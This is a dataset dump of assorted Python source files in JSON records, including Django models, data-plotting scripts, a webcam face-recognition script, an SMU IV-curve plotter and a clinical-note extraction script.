+{"seq_id":"113879984","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('newmailing', '0012_messageerror_date_create'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='masssend',\n name='list_id',\n field=models.CharField(null=True, verbose_name='ID списка контактов', max_length=50),\n ),\n migrations.AlterField(\n model_name='masssend',\n name='status',\n field=models.IntegerField(choices=[(0, 'новое сообщение'), (1, 'в процессе отправки'), (2, 'отправлено'), (3, 'ошибка создания')], default=0, verbose_name='Статус'),\n ),\n migrations.AlterField(\n model_name='masssendtemplate',\n name='title',\n field=models.CharField(null=True, verbose_name='Название', max_length=150),\n ),\n ]\n","sub_path":"newmailing/migrations/0013_auto_20161017_0124.py","file_name":"0013_auto_20161017_0124.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"34715069","text":"from django.db import models\nimport uuid\n# Create your models here.\n\nclass Items(models.Model):\n ITEMID = models.UUIDField(primary_key = True , default = uuid.uuid4) #come up with a regex for itemid\n item_name = models.CharField(max_length = 20)\n image = models.ImageField(upload_to = 'images/food/' , default='images/none/noimg.png')\n item_price = models.PositiveIntegerField()\n reviews = models.CharField(max_length=100)\n","sub_path":"restaurant/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"80047953","text":"from alg.emat.emat import calThickness\nfrom thickness.views import DataSet\nfrom thickness import models\nfrom PIL import Image\nimport hashlib\nimport struct\nimport os\n\nclass HandleDataSet(object):\n def __init__(self):\n pass\n\n def get_selected_data(self, result_list): #[['2019-09-20', '5', '7'], ['2019-09-21', '20', '21'], ] range(4,12) choose(5,7)\n \"\"\"取出指定日期内指定id范围的数据,组成数据集id\"\"\"\n try:\n choose_dataset_id_list = []\n for dataset in result_list:\n id_range = [i for i in range(int(dataset[1]), int(dataset[2]) + 1)] #[5, 6, 7]\n choose_dataset_id_list += id_range\n return choose_dataset_id_list #[5, 6, 7, 20, 21]\n\n except Exception as e:\n print(e, \"取出指定日期内指定id范围的数据,组成数据集时候发生错误,选择的数据ID不是有效值\")\n\n def handle_data_and_run_alg(self, data_id_list, version):\n \"\"\"跑算法前处理数据并且跑算法得出厚度值\"\"\"\n thickness_dict = {}\n # data_id_list = DataSet.list_to_str_tuple(data_id_list)\n # data_id_list_obj = models.DataFile.objects.raw(\"select nid, message_head, message_body_data, message_body_param from thickness_datafile where nid in %s order by nid\" % data_id_list)\n data_id_list_obj = models.DataFile.objects.filter(nid__in=data_id_list).order_by('nid')\n for data_item in data_id_list_obj:\n try:\n data_id = data_item.nid\n message_head = eval(data_item.message_head)\n data_len = int(message_head.get('Range', '2048').strip('\\n').split(',')[-1]) #' 3X,6144'\n message_body_data = data_item.message_body_data.tobytes()\n if data_item.message_body_param: #_lsa文件中,没有message_body_param部分数据,数据库中为None\n after_body_param = eval(data_item.message_body_param)\n gain = int(after_body_param['Gain'])\n else:\n gain = 60\n data = list(struct.unpack(\"<%sh\" % data_len, message_body_data))\n if len(data) == data_len:\n thick_mm = calThickness(data=data, gain_db=gain, nSize=data_len, version=version)\n # print('跑%s算法:' % version, data_id)\n else:\n thick_mm = -19.0\n thickness_dict[data_id] = thick_mm\n except Exception as e:\n print(e)\n\n return thickness_dict\n\n def _MD5(self, file_obj):\n \"\"\"MD5验证\"\"\"\n md_obj = hashlib.md5()\n md_obj.update(file_obj)\n md5_val = md_obj.hexdigest()\n return md5_val\n\nclass HandleImgs(object):\n \"\"\"处理图片\"\"\"\n\n def __init__(self):\n pass\n\n def get_size(self, file):\n \"\"\"获取文件大小:KB\"\"\"\n size = os.path.getsize(file)\n return size / 1024\n\n def get_outfile(self, infile, outfile):\n \"\"\"拼接输出文件地址\"\"\"\n if outfile:\n return outfile\n dir, suffix = os.path.splitext(infile)\n outfile = '{}-out{}'.format(dir, suffix)\n return outfile\n\n def compress_image(self, infile, outfile='', mb=1024, step=10, quality=80):\n \"\"\"不改变图片尺寸压缩到指定大小\n :param infile: 压缩源文件\n :param outfile: 压缩文件保存地址\n :param mb: 压缩目标,KB\n :param step: 每次调整的压缩比率\n :param quality: 初始压缩比率\n :return: 压缩文件地址,压缩文件大小\n \"\"\"\n o_size = self.get_size(infile)\n if o_size <= mb:\n return infile\n outfile = self.get_outfile(infile, outfile)\n while o_size > mb:\n im = Image.open(infile)\n im.save(outfile, quality=quality)\n if quality - step < 0:\n break\n quality -= step\n o_size = self.get_size(outfile)\n # 删除原文件,修改新文件名称\n old_file_name = infile\n os.remove(infile)\n os.rename(outfile, old_file_name)\n\n def resize_image(self, infile, outfile='', x_s=1376):\n \"\"\"修改图片尺寸\n :param infile: 图片源文件\n :param outfile: 重设尺寸文件保存地址\n :param x_s: 设置的宽度\n :return:\n \"\"\"\n im = Image.open(infile)\n x, y = im.size\n y_s = int(y * x_s / x)\n out = im.resize((x_s, y_s), Image.ANTIALIAS)\n outfile = self.get_outfile(infile, outfile)\n out.save(outfile)\n\n\n\n","sub_path":"utils/handel_data.py","file_name":"handel_data.py","file_ext":"py","file_size_in_byte":4668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"574090457","text":"from django.conf.urls import url, patterns\nfrom tokens import views\n\n\nurlpatterns = patterns(\n '',\n url(r'^list', views.TokenListView.as_view(), name='list'),\n url(r'^add', views.TokenAddView.as_view(), name='add'),\n url(r'^(?P\\d+)/delete', views.TokenDeleteView.as_view(), name='delete'),\n)\n\n","sub_path":"tokens/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"627353329","text":"#set working directory to repository with data\n#add packages\nimport pandas \nimport numpy\nfrom plotnine import *\n\n#1 create two plots that summarize info from fasta file \n\n# open fasta file\nfasta=open(\"Lecture11.fasta\",\"r\")\n#create lists for storing information about sequences\nsequenceID=[]\nsequenceLength=[]\npercentGC=[]\nmeltingTemp=[]\n#loop through each line of fasta file to process sequences\nfor Line in fasta:\n # remove newline character from file line\n Line=Line.strip()\n # if a sequence record\n if '>' in Line:\n # add the sequence ID (except the \">\" character) to the sequenceID list\n sequenceID.append(Line[1:])\n # if a sequence line\n else:\n # get the number of characters in the sequence and convert to a float to avoid integer division\n seqLen=float(len(Line))\n # count the number of G's and C's\n nG=Line.count(\"G\")\n nC=Line.count(\"C\")\n # if the sequence is 14 or fewer bases calculate melting temperature\n if seqLen<=14:\n Tm=2*(nG+nC)+2*seqLen\n else:\n Tm=-9999\n # append values to the lists\n sequenceLength.append(seqLen)\n percentGC.append((nG+nC)/seqLen*100)\n meltingTemp.append(Tm)\n# combine lists into dataframe\nseqinfo = pandas.DataFrame(list(zip(sequenceID,sequenceLength,percentGC,meltingTemp)),columns=['sequenceID','sequenceLength','percentGC','meltingTemp'])\n# close original file\nfasta.close()\n#check out summary table\nseqinfo.head()\n\n#FIRST GRAPH: HISTOGRAM OF SEQUENCE LENGTHS\nseqlen=ggplot(seqinfo,aes('sequenceLength'))\nseqlen+geom_histogram(binwidth=10,fill='cadetblue',color='black')+theme_classic()+ggtitle(\"Sequence Lengths\")\n#https://i.stack.imgur.com/fMx2j.png gives a bunch of colors in python,\n#I chose to make the bars cadetblue with black outlines\n\n#SECOND GRAPH: HISTOGRAM OF GC CONTENT \ngccont=ggplot(seqinfo,aes('percentGC'))\ngccont+geom_histogram(binwidth=1,fill='mediumorchid',color='black')+theme_classic()+ggtitle(\"GC Content of the Sequences\")\n#this one needed smaller bins because the valuu differences were smaller\n\n#2 Create graph relating two variables\n#add data\ngeyser=pandas.read_csv(\"old_faithful_erruptions.txt\",sep=\"\\t\",header=0)\n#check to make sure data loaded properly \ngeyser.head()\n#create graph with treadline\nggraph=ggplot(geyser,aes('eruptions','waiting'))\nggraph+geom_point(color='firebrick')+xlab(\"Eruption Duration (min)\")+ylab(\"Time Waited (min)\")+ggtitle(\"Old Faithful Erruptions\")+stat_smooth(method=\"lm\")\n#stat_smooth adds the trend line\n\n#3 two figures that summarize data in data.txt\n#load data\ndata=pandas.read_csv(\"data.txt\",header=0)\n#check to make sure data loaded properly\ndata.head()\n#FIRST GRAPH:barplot showing means of the four populations\nmeans=ggplot(data)+theme_classic()+xlab(\"Populations\")+ylab(\"Mean Number of Observations\")\nmeans+geom_bar(aes(x=\"factor(region)\",y=\"observations\",fill=\"region\"),stat=\"summary\",fun_y=numpy.mean)+ggtitle(\"Population Means\")\n#calculate means to check bar plot\ndata.groupby(['region'])['observations'].mean()#means are only slightly different\n\n#SECOND GRAPH: scatterplot of all observations\nscat3=ggplot(data,aes('observations','region'))\nscat3+geom_jitter(aes(color='factor(region)'))+scale_color_manual(values=['deeppink','steelblue','limegreen','darkorange'])+theme_classic()+ggtitle('All Observations')\n#this graph shows that even though the average observations are similiar for each region,\n#the observation distributions are quite different (narrow, wide, and bimodal)\n","sub_path":"exercise7.py","file_name":"exercise7.py","file_ext":"py","file_size_in_byte":3527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"469306174","text":"from lanepixelfinding import Lanepixelfinding\n\n__author__ = 'Carlos'\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport cv2\nimport paths\n\n\nclass Curvaturemeasure(object):\n\n @staticmethod\n def find_curvature(left_fit, right_fit, y_eval):\n\n left_curverad = ((1 + (2*left_fit[0]*y_eval + left_fit[1])**2)**1.5) / np.absolute(2*left_fit[0])\n right_curverad = ((1 + (2*right_fit[0]*y_eval + right_fit[1])**2)**1.5) / np.absolute(2*right_fit[0])\n\n return left_curverad, right_curverad\n\n\nif __name__ == \"__main__\":\n\n laneF = Lanepixelfinding()\n\n img = mpimg.imread(paths.OUTPUT_IMAGES_FOLDER + paths.BINARY_OUTPUT + 'threshold_output.jpg')\n gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n\n left_fit, right_fit = laneF.find_lane_pixels(gray, output_folder=paths.OUTPUT_IMAGES_FOLDER + paths.LANES_OUTPUT)\n\n left_curverad, right_curverad = Curvaturemeasure.find_curvature(left_fit, right_fit,\n (gray.shape[0]-1)*Lanepixelfinding.YM_PER_PIX)\n\n # Now our radius of curvature is in meters\n print(left_curverad, 'm', right_curverad, 'm')\n print('Finished main')","sub_path":"curvaturemeasure.py","file_name":"curvaturemeasure.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"63410745","text":"from create_models import *\nimport matplotlib.pyplot as plt \nimport numpy as np\nfrom collections import Counter\n\ndef vis_corpus(corpus):\n\tlens = []\n\tfor doc in corpus:\n\t\tlens.append(len(doc.words))\n\tc = Counter(lens)\n\tplt.bar(c.keys(), c.values())\n\tplt.show()\n\n\nif __name__ == '__main__':\n\t#file_names = []\n\tpath_to_files = '../CongressionalRecordData/hein-daily/hein-daily/'\n\tfile_groups = {\n\t\t'100th': ['speeches_100.txt']#,\n\t\t# '106th': ['speeches_106.txt'],\n\t\t# 'HWBush': ['speeches_101.txt',\n\t\t# \t\t\t'speeches_102.txt']#,\n\t\t# 'Obama': ['speeches_111.txt',\n\t\t# \t\t\t'speeches_112.txt',\n\t\t# \t\t\t'speeches_113.txt',\n\t\t# \t\t\t'speeches_114.txt']\n\t} \n\tmin_speech_length = [\n\t\t1\n\t]\n\tfor min_length in min_speech_length:\n\t\tfor group_name, files in file_groups.items():\n\t\t\tdoc_corpus = get_corpus(path_to_files, files, min_length)\n\t\t\tvis_corpus(doc_corpus)\n","sub_path":"CongressionalRecordAnalysis/doc2vec_models/speech_length_vis.py","file_name":"speech_length_vis.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"226579568","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 16 17:14:14 2018\n\n@author: aakash.chotrani\n\"\"\"\nimport face_recognition\nimport cv2\nimport os\nimport time\n\n\nknown_face_names = [\n# 'Aakash',\n# 'Shivam'\n]\n\n# Create arrays of known face encodings and their names\nknown_face_encodings = [\n# Aakash_face_encoding,\n# shivam_face_encoding\n]\n \ndef Get_Existing_Directories_Training_Images(path):\n \n for root, dirs, files in os.walk(path, topdown=False): \n #for each directory that already exists get the name and push it to known faces array.\n for name in dirs:\n print(name)\n known_face_names.append(name)\n \n #Go in each directory and get the first image and call Train on the image.\n #NOTE BUG: Check if there are files in the directory.\n for rootx, dirsx, filesx in os.walk(os.path.join(root, name), topdown=False):\n print(filesx)\n print(os.path.join(root, name)+'/'+filesx[0])\n imagePath = os.path.join(root, name)+'/'+filesx[0]\n Train_Known_Person(imagePath)\n\ndef Train_Known_Person(path):\n global known_face_encodings\n \n known_person_face_image = face_recognition.load_image_file(path)\n known_person_face_encoding = face_recognition.face_encodings(known_person_face_image)[0]\n \n #record the encoding\n known_face_encodings.append(known_person_face_encoding)\n \n\nImage_Capture_Delay_Seconds = 10\n\nimg_counter = 0\ndef capture_images(name,top,right,bottom,left):\n print('capture images called')\n global img_counter\n #Resetting the path and names\n img_name = \"\"\n path = \"\"\n \n #saving the faces\n img_name = name+ str(img_counter) + '.jpg'\n crop_img = frame[top:bottom,left:right]\n \n #giving folder path to store the captured images.\n path = 'C:/Users/aakash.chotrani/Desktop/OpenCV/FaceRecognitionImages' +'/'+name\n if not os.path.exists(path):\n os.makedirs(path)\n cv2.imwrite(os.path.join(path,img_name),crop_img)\n img_counter = img_counter + 1\n print(img_counter,\" \",path+img_name)\n \n return path\n\n \n \ndef Train_New_Person(name,face_locations):\n global known_face_encodings\n global known_face_names\n top = face_locations[0][0]\n right = face_locations[0][1]\n bottom = face_locations[0][2]\n left = face_locations[0][3]\n \n top *= 4\n right *= 4\n bottom *= 4\n left *= 4\n \n path = capture_images(name,top,right,bottom,left)\n \n #image counter is increased in the capture image function hence decresasing it and storing in temp\n temp = img_counter - 1\n name += str(temp)\n new_person_face_image = face_recognition.load_image_file(os.path.join(path,name) + '.jpg')\n new_person_face_encoding = face_recognition.face_encodings(new_person_face_image)[0]\n \n known_face_encodings.append(new_person_face_encoding)\n known_face_names.append(name)\n \n \n\n# Load a sample picture and learn how to recognize it.\n#Aakash_image = face_recognition.load_image_file(\"Aakash_LinkedIn.jpg\")\n#Aakash_face_encoding = face_recognition.face_encodings(Aakash_image)[0]\n\nshivam_image = face_recognition.load_image_file(\"shivam.jpg\")\nshivam_face_encoding = face_recognition.face_encodings(shivam_image)[0]\n\n\n\n# Initialize some variables\nface_locations = []\nface_encodings = []\nface_names = []\nprocess_this_frame = True\nend_time = time.time() + Image_Capture_Delay_Seconds\nunknown_person_counter = 0\n\ndef Start_Webcam():\n \n global process_this_frame\n global unknown_person_counter\n video_capture = cv2.VideoCapture(0)\n video_capture.set(cv2.CAP_PROP_FRAME_WIDTH, 1920);\n video_capture.set(cv2.CAP_PROP_FRAME_HEIGHT, 1080);\n global frame\n global end_time\n while True:\n # Grab a single frame of video\n ret, frame = video_capture.read()\n \n # Resize frame of video to 1/4 size for faster face recognition processing\n small_frame = cv2.resize(frame, (0, 0), fx=0.25, fy=0.25)\n \n # Convert the image from BGR color (which OpenCV uses) to RGB color (which face_recognition uses)\n rgb_small_frame = small_frame[:, :, ::-1]\n \n # Only process every other frame of video to save time\n if process_this_frame:\n # Find all the faces and face encodings in the current frame of video\n face_locations = face_recognition.face_locations(rgb_small_frame)\n face_encodings = face_recognition.face_encodings(rgb_small_frame, face_locations)\n \n face_names = []\n for face_encoding in face_encodings:\n # See if the face is a match for the known face(s)\n matches = face_recognition.compare_faces(known_face_encodings, face_encoding)\n \n \n # If a match was found in known_face_encodings, just use the first one.\n if True in matches:\n first_match_index = matches.index(True)\n name = known_face_names[first_match_index]\n else:\n name = \"Person\"+str(unknown_person_counter)\n Train_New_Person(name,face_locations)\n # Person_image = face_recognition.load_image_file(\"Aakash_LinkedIn.jpg\")\n # Aakash_face_encoding = face_recognition.face_encodings(Aakash_image)[0]\n unknown_person_counter = unknown_person_counter + 1\n \n \n face_names.append(name)\n \n process_this_frame = not process_this_frame\n \n \n # Display the results\n for (top, right, bottom, left), name in zip(face_locations, face_names):\n \n # Scale back up face locations since the frame we detected in was scaled to 1/4 size\n top *= 4\n right *= 4\n bottom *= 4\n left *= 4\n \n #capture image every few seconds\n if(time.time() > end_time):\n capture_images(name,top,right,bottom,left)\n end_time = time.time() + Image_Capture_Delay_Seconds\n \n # Draw a box around the face\n cv2.rectangle(frame, (left, top), (right, bottom), (0, 0, 255), 2)\n cv2.rectangle(frame, (left, bottom - 35), (right, bottom), (0, 0, 255), cv2.FILLED)\n font = cv2.FONT_HERSHEY_DUPLEX\n cv2.putText(frame, name, (left + 6, bottom - 6), font, 1.0, (255, 255, 255), 1)\n \n \n # Display the resulting image\n cv2.imshow('Video', frame)\n \n # Hit 'q' on the keyboard to quit!\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n \n # Release handle to the webcam\n video_capture.release()\n cv2.destroyAllWindows()\n\n\ndef main():\n path = 'C:/Users/aakash.chotrani/Desktop/OpenCV/FaceRecognitionImages'\n Get_Existing_Directories_Training_Images(path)\n Start_Webcam()\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n\n\n\n\n","sub_path":"FaceRecognition_Webcam_FastVersion.py","file_name":"FaceRecognition_Webcam_FastVersion.py","file_ext":"py","file_size_in_byte":6992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"419199224","text":"from setuptools import setup, find_packages\n\nreadme = open('README.rst', 'r')\nREADME_TEXT = readme.read()\nreadme.close()\n\nsetup(\n name='envbuilder',\n author='Jason Baker',\n author_email='amnorvend@gmail.com',\n version='0.2.0',\n packages=find_packages(),\n setup_requires=['nose'],\n install_requires=['ConfigObj', 'argparse'],\n zip_safe=False,\n include_package_data=True,\n entry_points = {\n 'console_scripts' : [\n 'envbuilder = envbuilder.run:main'\n ]\n },\n description = \"A package for automatic generation of virtualenvs\",\n long_description = README_TEXT,\n url='http://github.com/jasonbaker/envbuilder',\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"193372424","text":"fp = open('StudentDataMarks.csv','r')\nfp1 = open('Percentage.csv','w')\n\nfp.readline()\n\nstudent_data=[]\n\nSub1 = open('SUb1'+ '.csv', 'w')\nSub2 = open('SUb2 failed'+ '.csv', 'w')\nsub3 = open('sub3 failed'+ '.csv', 'w')\nsub4 = open('sub4 failed'+ '.csv', 'w')\nsub5 = open('sub5 failed'+ '.csv', 'w')\nfp2 = open('More than 2'+ '.csv', 'w')\nfor line in fp:\n fail_count = 0\n data=line.strip().split(',')\n x = list(map(int,data[5:])) \n perc = sum(list(map(int,data[5:])))/500*100\n data.append(str(perc))\n #student_data.append(data)\n print(f\"The percentage of student {data[0]} is {perc}\",file = fp1)\n\n if x[0]<40:\n Sub1.write(line)\n fail_count+=1\n if x[1]<40:\n Sub2.write(line)\n fail_count+=1\n if x[2]<40:\n sub3.write(line)\n fail_count+=1\n if x[3]<40:\n sub4.write(line)\n fail_count+=1\n if x[4]<40:\n sub5.write(line)\n fail_count+=1\n if fail_count > 1:\n fp2.write(line)\n else:\n print(\"Pass in all subjects\")\n\nprint('Total Student failed in subject 1',fail_count)\n\nfp.close()\nfp1.close()\n\n'''\nwhen loop runs for first ttime-\ndata=[Anvi,30,45,56]\nwhen loop runs second time-\ndata=[saransh,34,56,67]\nstudentdata=[[anvi,30,45,56],[Saransh,34,45,56]\n'''\n\n\n\n","sub_path":"python/Assignment_File_handling.py","file_name":"Assignment_File_handling.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"228697252","text":"#!/usr/bin/env python3\n#\n# This program is used for plotting the data recorded by the SMU as a\n# function of time.\n#\n# Data files have names like `name_dat_time.csv'. They consist of several\n# lines of information at the top, followed by data sections in csv format.\n# \n\nimport sys\nimport matplotlib.pyplot as plt\nfrom numpy import log\n\n# Error bars\n#\n# This function computes error bars for the data. The error bars are based on\n# the accuracy information in the manual, which gives accuracies for each\n# measurement range. THe function therefore makes the assumption that each\n# data point was measured using the most accurate possible range (valid for\n# the auto range measurement setting, but needs confirming somehow).\n#\n# With source readback on, I think all the error bars should be calculated as\n# if the data is measured, even if it is actually sourced. That's because\n# I think the source readback data should be interpreted using the 'measure'\n# accuracies, since it is actually measured. The 'source' accuracies should\n# only be used if readback is off, so that the 'source' accuracies apply.\n# To be checked.\n#\n# Arguments:\n# value: the value, either a current or a voltage\n#\ndef get_error(value, iscurrent, ismeas):\n # Get the absolute value\n v = abs(value)\n if(ismeas == True): # The value is a measurement\n if(iscurrent == True): # Then the value is current measurement\n # Test the current ranges\n if(v <= 10e-9): return (0.001 * v + 50e-12) \n if(v <= 100e-9): return (0.0006 * v + 100e-12) \n if(v <= 1e-6): return (0.00025 * v + 300e-12) \n if(v <= 10e-6): return (0.00025 * v + 700e-12) \n if(v <= 100e-6): return (0.0002 * v + 6e-9) \n if(v <= 1e-3): return (0.0002 * v + 60e-9) \n if(v <= 10e-3): return (0.0002 * v + 600e-9) \n if(v <= 100e-3): return (0.00025 * v + 6e-6) \n if(v <= 1): return (0.0003 * v + 500e-6) \n \n else: # Otherwise it's a voltage measurement\n if(v <= 20e-3): return (0.001 * v + 150e-6) \n if(v <= 200e-3): return (0.00012 * v + 200e-6) \n if(v <= 2): return (0.00012 * v + 300e-6) \n if(v <= 20): return (0.00015 * v + 1e-3) \n if(v <= 200): return (0.00015 * v + 10e-3)\n\n else: # The value is a source\n if(iscurrent == True): # The value is current source\n # Test the current ranges\n if(v <= 10e-9): return (0.001 * v + 100e-12) \n if(v <= 100e-9): return (0.0006 * v + 150e-12) \n if(v <= 1e-6): return (0.00025 * v + 400e-12) \n if(v <= 10e-6): return (0.00025 * v + 1.5e-9) \n if(v <= 100e-6): return (0.0002 * v + 15e-9) \n if(v <= 1e-3): return (0.0002 * v + 150e-9) \n if(v <= 10e-3): return (0.0002 * v + 1.5e-6) \n if(v <= 100e-3): return (0.00025 * v + 15e-6) \n if(v <= 1): return (0.00067 * v + 900e-6) \n \n else: # Otherwise it's a voltage source\n if(v <= 20e-3): return (0.001 * v + 200e-6) \n if(v <= 200e-3): return (0.00015 * v + 200e-6) \n if(v <= 2): return (0.00020 * v + 300e-6) \n if(v <= 20): return (0.00015 * v + 2.4e-3) \n if(v <= 200): return (0.00015 * v + 24e-3)\n\ndef error_bars(values, iscurrent, ismeas):\n length = len(values)\n errors = []\n for i in range(length):\n err = get_error(values[i], iscurrent, ismeas)\n errors.append(err)\n\n return errors\n \n\n# Read filename to open\nif len(sys.argv) != 2:\n print(\"Error: Pass a data file to plot\")\n quit()\nfilename = str(sys.argv[1])\n\n# Open file as read only and read the contents\nlines = []\nwith open(filename, \"rt\") as f:\n for line in f:\n lines.append(line)\n\n# Read the file length\nL = len(lines) \n\n# Identify data blocks\ndatablocks = []\nfor k in range(L):\n if lines[k][:8] == \"=== DATA\":\n datablocks.append(k) # Save the line number of the data block\n\n# Read datablocks\nvsour, vmeas, isour, imeas = [], [], [], [] \nfor d in datablocks:\n # Parse the information into a dictionary\n line = lines[d]\n info_string = line[line.find(\"(\")+1:line.find(\")\")]\n info_list = info_string.split(\", \")\n info = [ elem.split(\"=\") for elem in info_list ]\n info_dict = { d[0] : d[1] for d in info } \n # Read the dictionary for number of data records\n records = int(info_dict['records'])\n # Check either source voltage or current\n if(info_dict['source'] == 'voltage'):\n for k in range(records):\n line = lines[d+k+1]\n vsour.append(float(lines[d+k+2].split(', ')[0]))\n vmeas.append(float(lines[d+k+2].split(', ')[1]))\n else:\n for k in range(records):\n line = lines[d+k+1]\n isour.append(float(lines[d+k+2].split(', ')[0]))\n imeas.append(float(lines[d+k+2].split(', ')[1]))\n \n# Error bars for sourcing voltage\nvxerr = error_bars(vmeas, False, True) # Voltage axis: sourced\nvyerr = error_bars(vmeas, True, True) # Current axis: measured\n\n# Error bars for sourcing current\nixerr = error_bars(imeas, False, True) # Voltage axis: measured\niyerr = error_bars(isour, True, True) # Current axis: sourced\n\n# Plot the measurements\nf = plt.figure()\nax = f.add_subplot(111)\nax.plot(imeas, label=\"Voltage source\", markersize=0.5)\n\n#ax.errorbar(vsour, vmeas, vyerr, vxerr, fmt='bo', ecolor = 'red',\n# label=\"Voltage source\", markersize=0.5)\n#ax.errorbar(imeas, isour, iyerr, ixerr, fmt='ro', ecolor = 'blue',\n# label=\"Current source\", markersize=0.5)\nax.legend()\n#ax.set_yscale('log')\n#ax.set_xlim((-19.5, 0)) \n#ax.set_ylim((-6e-9, 1e-9)) \n\nax.set_xlabel('Voltage/V')\nax.set_ylabel('Current/A')\nax.set_title('Test IV curve')\n#f.savefig('2_stations_vs_time.png')\n\nplt.show()\n","sub_path":"dies/plot_time.py","file_name":"plot_time.py","file_ext":"py","file_size_in_byte":5825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"121005660","text":"import numpy as np\nfrom numpy import * \nimport os\nimport cv2\n\n# sklearn\nfrom sklearn.utils import shuffle\n\n\n#==========================[1]:DATA===============================\ndef training_data():\n\tpath='training_set'\n\n\timlist=os.listdir(path)\n\t#print(imlist[0])\n\tnum_samples=np.size(imlist)\n\n\timg0=cv2.imread('training_set'+'/'+imlist[0],0)\n\tprint(img0.shape)\n\t#cv2.imshow('img0',img0)\n\t#cv2.waitKey(0)\n\n\timg1=np.array(img0) \n\t#print('img1',img1)\n\tm,n=img1.shape[0:2]\n\tno_of_img=len(imlist)\n\t\n\tprint('m,n,no_img',m,n,no_of_img)\n\n\timg_matrix=np.array([np.array(cv2.imread('training_set'+'/'+img2,0)).flatten()\n for img2 in imlist],'F')\n\t\n\tprint('img_matrix',img_matrix.shape)\n\tlabel=np.ones((num_samples,),dtype=int)\n\tlabel[0:237]=0\n\tlabel[237:474]=1\n\n\tdata,Label=shuffle(img_matrix,label,random_state=2)\n\ttrain_data=[data, Label]\n\t#print(train_data[0].shape,train_data[1].shape)\n\n\treturn train_data\n\n\n\n\n\n#===================== test data\ndef test_data():\n\tpath='test_set'\n\n\timlist=os.listdir(path)\n\t#print(imlist[0])\n\tnum_samples=np.size(imlist)\n\n\timg0=cv2.imread('test_set'+'/'+imlist[0])\n\t#print(img0.shape)\n\t#cv2.imshow('img0',img0)\n\t#cv2.waitKey(0)\n\n\timg1=np.array(img0) \n\t#print('img1',img1)\n\tm,n=img1.shape[0:2]\n\tno_of_img=len(imlist)\n\t\n\tprint('m,n,no_img',m,n,no_of_img)\n\n\timg_matrix=np.array([np.array(cv2.imread('test_set'+'/'+img2)).flatten()\n for img2 in imlist],'f')\n\t\n\tlabel=np.ones((num_samples,),dtype=int)\n\tlabel[0:235]=0\n\t\n\n\tdata,Label=shuffle(img_matrix,label,random_state=2)\n\ttest_data=[data, Label]\n\tprint(test_data[0].shape,test_data[1].shape)\n\n\treturn test_data\n\n\n\n\n\n\n\n\n\n#=========================[2]:normalization ==============================\n\ndef normalization(x):\n\tx=np.divide(x,255)\n\treturn x\n\n\n#========================\n\n\n\n\n\n\n\n\n\n","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"423279489","text":"# import numpy as np\r\nimport os\r\nimport pandas as pd\r\n# import csv\r\n# Extracted C71 Code descriptions - SQL code in current directory\r\n\r\n# Note Text Compilation per patient\r\n # To be replaced with direct data pull\r\nnotes = pd.read_csv('Patient data.csv', encoding = \"ISO-8859-1\")\r\n\r\nPatientList = notes.PAT_MRN_ID.unique()\r\nlen(PatientList) # 782 Patients! :D\r\n\r\nos.mkdir('C:/Users/srajendr/WFU/PatientData') # These are named after patient MRN\r\ni=0\r\nfor i in range(0,len(PatientList)):\r\n note = notes[notes.PAT_MRN_ID == PatientList[i]]\r\n filename = 'C:/Users/srajendr/WFU/PatientData'+ str(PatientList[i]) + '.csv'\r\n note['NOTE_TEXT'].to_csv(filename, index=False, header=False) #, quoting=csv.QUOTE_NONE)\r\n","sub_path":"Cleaning and Processing/MakeFiles.py","file_name":"MakeFiles.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
